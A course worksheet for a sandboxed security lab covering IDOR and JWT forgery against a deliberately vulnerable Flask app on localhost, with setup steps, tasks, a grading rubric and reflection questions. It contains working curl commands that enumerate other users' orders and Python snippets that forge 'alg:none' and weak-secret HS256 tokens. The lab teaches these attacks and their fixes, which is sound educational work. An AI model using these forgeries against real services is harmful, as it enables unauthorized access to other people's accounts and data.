Week 6 · worksheet

Worksheet 6 — Authentication, Sessions & Access Control (3 hrs)

← all weeks · readme · attack · slides

Worksheet 6 — Authentication, Sessions & Access Control (3 hrs)

Course: Software Security (KOSEN69) · Week 6 Aligned: OWASP 2025 A01 Broken Access Control, A07 Authentication Failures · CWE-639 (IDOR), CWE-347 (improper signature verification), CWE-321 (weak hardcoded key) Signature games: 🗺️ IDOR Treasure Hunt — walk the oid numbers to loot orders that aren't yours · 🔏 JWT Forgery — mint a token you were never given.

⚠️ Ethics note: Forging tokens and accessing other users' objects is only legal in this sandbox (vulnerable_app.py) and your own Juice Shop. Doing it to a real service is unauthorized access. Keep all activity inside http://localhost:8080.

Part 1 — Student Information

NameStudent IDDateGroup

Part 2 — Lecture Questions

Answer in 2–4 sentences each.

  1. Distinguish authentication from authorization. In vulnerable_app.py, get_order calls current_user() but ignores its result (L63) — which of the two is missing?
  2. What is IDOR (CWE-639)? Why is /api/orders/<oid> exploitable, and what single check in solution_app.py (L64) closes it?
  3. Explain the **alg:none** JWT attack. Why does listing "none" in algorithms=[...] (L55) let an attacker submit an unsigned token?
  4. Why is the hardcoded HMAC secret "secret" (CWE-321) dangerous even if alg:none were disabled? How does a strong random secret + pinned algorithm defend the token?
  5. What do the JWT claims **exp and aud** add, and why does the secure version reject tokens that lack them?

Part 3 — Hands-on Lab (150 min)

Learning goals: exploit IDOR, forge JWTs two ways (alg:none and weak secret), then prove solution_app.py enforces ownership and rejects forged tokens. Steps mirror attack.md.

Prerequisites: Docker + Docker Compose, curl, python3 with pyjwt, optionally Burp Suite. Working dir: labs/week06-authn-authz/.

Environment setup

cd labs/week06-authn-authz
docker compose up            # python:3.12-slim + flask + pyjwt, runs vulnerable_app.py
# vulnerable app -> http://localhost:8080   (service name: authz-lab, port 8080)

Optional secondary target / proxy:

docker run --rm -p 3000:3000 bkimminich/juice-shop       # -> http://localhost:3000
# Burp Suite: set browser proxy to 127.0.0.1:8080 to intercept/replay requests

What to submit per task: the exact command/token, a screenshot of the JSON response, and a 2–3 sentence mitigation.


Task 0 — Onboarding (5 min). Get alice's token (from attack.md):

TOKEN=$(curl -s -X POST http://localhost:8080/login \
  -H 'Content-Type: application/json' \
  -d '{"user":"alice","pw":"alicepw"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')
echo "$TOKEN"

Confirm /api/orders/1 returns alice's Laptop order. Deliverable: screenshot of the token + order 1.

Task 1 — IDOR Treasure Hunt (30 min) 🗺️.

  • Goal: read bob's order with alice's token.
  • Steps:
  curl -s http://localhost:8080/api/orders/1 -H "Authorization: Bearer $TOKEN"   # yours
  curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $TOKEN"   # bob's — leaks!
  • Deliverable: both responses + screenshot of bob's Phone order + why the missing ownership check (CWE-639) is the root cause.

Task 2 — JWT Forgery via alg:none (30 min) 🔏.

  • Goal: impersonate bob with an unsigned token (no secret needed).
  • Steps:
  FORGED=$(python3 - <<'PY'
  import jwt
  print(jwt.encode({"sub": "bob"}, key="", algorithm="none"))
  PY
  )
  curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED"
  • Deliverable: the forged token + screenshot of the accepted response + explanation of the none flaw (CWE-347).

Task 3 — JWT Forgery via weak secret (30 min) 🔏.

  • Goal: sign a valid HS256 token because the secret is the guessable string secret (CWE-321).
  • Steps:
  FORGED2=$(python3 - <<'PY'
  import jwt
  print(jwt.encode({"sub": "bob"}, "secret", algorithm="HS256"))
  PY
  )
  curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED2"
  • Deliverable: token + screenshot + 2–3 sentences on why secret strength + key management matter.

Task 4 — Privilege/identity escalation reasoning (25 min).

  • Goal: combine the flaws. Using Task 2/3 you became bob without his password; using Task 1 you read objects you don't own.
  • Steps: document the full attack chain (forge token → access any oid). Optionally replay the requests through Burp Suite Repeater and screenshot the intercepted request/response.
  • Deliverable: a short chain diagram/paragraph + Burp (or curl) evidence.

Task 5 — Defend / fix it (30 min) 🛡️.

  • Goal: prove solution_app.py blocks Tasks 1–3.
  • Steps: stop the vulnerable container (Ctrl-C), then:
  docker compose run --rm --service-ports authz-lab bash -c "pip install --no-cache-dir flask pyjwt && python solution_app.py"

Re-run: get a fresh alice token, then re-fire each attack. Expected: /api/orders/2 with alice's token → 403 forbidden (ownership check, L64); the alg:none token → 401 invalid token (algorithm pinned to HS256, L50); the "secret" token → 401 (strong random secret + required aud/exp, L10/40).

  • Deliverable: screenshots of the 403 and both 401s + name the fix line for each.

Part 4 — Reflection

  1. CWE/OWASP mapping: map IDOR → CWE-639 / A01, the JWT forgeries → CWE-347 & CWE-321 / A07.
  2. Real breach: the 2022 Optus breach exposed millions of customer records via an exposed/poorly-authorized API endpoint where identifiers could be enumerated — a textbook broken-access-control / IDOR-style failure. In 3–4 sentences connect it to Tasks 1 and 4 of this lab. (Alternative: the Peloton API IDOR disclosure.)
  3. Best mitigation: between deny-by-default ownership checks, pinning the JWT algorithm, and a strong managed secret, which control protects the most attack surface here, and why is server-side authorization non-negotiable?

Grading rubric (100)

CriterionPoints
Part 2 — Lecture questions (conceptual accuracy)20
Part 3 — Exploitation + evidence (payloads/tokens + screenshots, Tasks 1–4)40
Part 3 — Defense (Task 5: fixes proven, lines cited)25
Part 4 — Reflection (CWE/OWASP mapping, breach, mitigation)15
Total100

Evidence & Integrity (required)

  • Identity proof: every screenshot/diagram must show your **whoami / login email / student ID and a timestamp**. Generic or borrowed evidence is not accepted.
  • Personalized flag (if this lab issues one): ____________________

Flags are unique per student — submitting another student's flag is a violation. See SUBMISSION.md.

  • Explain in your own words (graded on your reasoning, not copied text):
  1. What did you do, and why did the vulnerability work?
  2. Why does your fix actually stop it — and what could still break it?

🤖 Audit the AI (required)

AI is a power tool you must distrust — you are graded on your critique, not the AI's answer.

  1. Ask an AI assistant to exploit or fix this week's vulnerability. Paste its full answer.
  2. Find what's wrong or risky in it — insecure code, a subtly incomplete fix, a hallucinated API/function/CVE, a missed edge case, or wrong reasoning. Quote the exact line(s).
  3. Produce the correct, verified version yourself and explain in 2–3 sentences why the AI's output was insufficient.

Disclose your AI use in the Part 1 table. This task counts toward your Defense + Reflection score.


🧠 Comprehension & Prompt (required)

A. Explain in Plain English (EiPE). In 2–3 sentences, in your own words, describe what this week's vulnerable code/endpoint actually does and why it is exploitable — explain the mechanism, don't dump jargon.

B. Prompt Problem. Write a single prompt that makes an AI produce a correct, secure fix for one finding. Run it: does the exploit now fail? If not, refine the prompt and try again. Submit the final prompt + the verified result. Graded on the prompt's precision and your verification — this trains problem decomposition and AI literacy (Denny et al. 2024).